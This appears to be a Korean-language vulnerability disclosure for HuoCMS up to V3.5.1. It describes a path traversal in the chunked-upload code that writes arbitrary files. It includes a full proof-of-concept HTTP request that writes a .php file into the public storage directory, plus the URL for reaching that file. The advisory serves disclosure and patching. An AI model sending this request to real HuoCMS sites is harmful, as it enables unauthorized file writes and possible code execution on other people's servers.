
Vulnerability Description
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
AttachmentController.php(app → controller → backend에 위치)의 sliceUploadAndSave 메서드에서 resource_type 파라미터가 허용된 파일 확장자(txt, png 등)의 화이트리스트에 대해 검증됩니다. 이후 이 메서드는 Upload.php(app → service → upload에 위치)의 tmpMove를 호출합니다.
tmpMove 메서드는 먼저 파일을 생성합니다. 그러나 $filename 파라미터(resource_temp_path 입력 파라미터에 의해 제어되며 사용자가 제어 가능)는 디렉터리 순회(예: ../ 사용)를 통해 폴더를 생성하는 데 악용될 수 있습니다. 그런 다음 메서드는 이동 작업을 수행하여 파일을 생성된 디렉터리에 배치합니다. 최종 파일 이름에는 밑줄과 $pos 접미사가 추가되며, $pos는 호출 시 전달되는 chunk_index 파라미터를 통해 제어됩니다(자세한 내용은 실제 파라미터 전달 참조).
이로 인해 공격자가 resource_temp_path와 chunk_index를 조작하여 제어된 파일 이름으로 임의의 위치에 파일을 쓸 수 있는 취약점이 발생합니다.
상세 설명:
app > controller > backend > AttachmentController.php: sliceUploadAndSave

app > service > upload > Upload.php: tmpMove

이 취약점은 백엔드 문제로, 토큰을 사용하여 백엔드에 로그인한 후 호출해야 합니다. 직접 설정하고 로그인하십시오.
POC:
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

액세스 URL:
http://127.0.0.1/storage/image/20250415/%5f%5f.php

http://huocms.com https://github.com/yggcwhat/CVE-2025-46078/edit/main/README.md https://www.huocms.com/